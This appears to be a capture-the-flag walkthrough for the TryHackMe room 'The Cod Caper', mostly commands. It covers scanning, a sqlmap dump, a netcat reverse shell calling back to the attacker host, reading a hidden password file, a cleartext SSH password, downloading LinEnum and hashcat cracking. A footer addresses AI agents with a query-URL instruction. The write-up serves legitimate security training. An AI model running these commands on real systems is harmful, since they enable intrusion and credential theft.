# The Cod Caper

**Room Link:** <https://tryhackme.com/room/thecodcaper>

### Initial Scan

**Kali**

<pre><code><strong>nmap -A $VICTIM
</strong></code></pre>

<figure><img src="/files/WjUu5tUsJdCChJiGMuIp" alt=""><figcaption></figcaption></figure>

### Scan all ports

No other ports found.

**Kali**

<pre><code><strong>nmap -sV -sT -O -p 1-65535 $VICTIM
</strong></code></pre>

## TCP/80 - HTTP

**Kali**

```
gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```

<figure><img src="/files/SyUbqx7ljSEozlgM8nST" alt=""><figcaption></figcaption></figure>

### SQL

**Kali**

```
sqlmap -u http://$VICTIM/administrator.php --forms --dump
```

<figure><img src="/files/d5u60tngCt1j1TpLsmpu" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cPvkBSeq9IkOFR3223YA" alt=""><figcaption></figcaption></figure>

### Method 1: nc Reverse shell:

**Kali**

```
nc -lvnp 1337
```

**Browser**&#x20;

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc $KALI 1337 >/tmp/f
```

Get autocomplete

```
python -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg
```

<figure><img src="/files/8gamXH8Sh3KwLDq7TaRx" alt=""><figcaption></figcaption></figure>

### Method 2: Hidden passwords:

**Browser**&#x20;

```
find / -user www-data 2>/dev/null
cat /var/hidden/pass
```

<figure><img src="/files/PnVuWSZGJrfnp3FgyDF6" alt=""><figcaption></figcaption></figure>

**Kali**

```
ssh pingu@$VICTIM
Password: pinguapingu
```

<figure><img src="/files/lfrQyVFbmM4yTlAMS093" alt=""><figcaption></figcaption></figure>

## Enumeration

Download LinEnum Script

**Kali**

```
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
python2 -m SimpleHTTPServer 81
```

**Victim**

```
cd /tmp/
wget http://$KALI:81/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh
```

<figure><img src="/files/WT4XpKVSVh3ZYjMLzIst" alt=""><figcaption></figcaption></figure>

**Kali**

```
hashcat -m 1800 -a 0 hash /usr/share/wordlists/rockyou.txt
hashcat -m 1800 -a 0 hash /usr/share/wordlists/rockyou.txt --show
```

<figure><img src="/files/1MwcFLLouEWXKF6CMyxq" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/the-cod-caper.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
